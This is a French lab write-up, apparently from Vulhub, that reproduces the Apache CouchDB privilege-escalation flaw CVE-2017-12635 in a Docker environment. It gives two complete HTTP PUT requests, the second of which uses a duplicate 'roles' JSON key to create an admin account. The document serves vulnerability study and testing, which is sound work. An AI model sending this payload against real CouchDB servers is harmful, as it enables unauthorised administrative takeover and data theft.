Vulnérabilité de contournement d'autorisations verticales dans Couchdb (CVE-2017-12635)

Apache CouchDB est une base de données open source axée sur la facilité d'utilisation et le fait d'être une « base de données entièrement web ». Elle utilise JSON comme format de stockage, JavaScript comme langage de requête, MapReduce et HTTP comme API. Il s'agit d'une base de données NoSQL largement utilisée, par exemple par la BBC pour sa plateforme de contenu dynamique, par Credit Suisse pour son cadre de marché interne au sein du secteur des matières premières, et par Meebo pour sa plateforme sociale (web et applications).

Le 15 novembre 2017, les CVE-2017-12635 et CVE-2017-12636 ont été divulguées. CVE-2017-12635 est due à une différence de parsing JSON entre Erlang et JavaScript, entraînant des divergences dans l'exécution des instructions. Cette vulnérabilité permet à tout utilisateur de créer un administrateur, ce qui constitue un contournement vertical des autorisations.

Versions affectées : antérieures à 1.7.0 et antérieures à 2.1.1

Références :

Environnement de test

Construction et démarrage de l'environnement :

docker-compose build
docker-compose up -d

Une fois l'environnement démarré, accédez à http://your-ip:5984/_utils/ pour voir une page web indiquant que Couchdb a bien été lancé. Cependant, nous ne connaissons pas le mot de passe et ne pouvons pas nous connecter.

Reproduction de la vulnérabilité

Tout d'abord, envoyez le paquet suivant :

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

On obtient une erreur 403 : {"error":"forbidden","reason":"Only _admin may set roles"}. Seul un administrateur peut définir les rôles :

Envoyez un paquet contenant deux rôles pour contourner la restriction :

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

L'administrateur est créé avec succès, le nom d'utilisateur et le mot de passe sont tous deux vulhub :

Accédez à nouveau à http://your-ip:5984/_utils/, saisissez les identifiants vulhub, et vous pouvez vous connecter avec succès :

Apache-couchdb-CVE-2017-12635

Populaires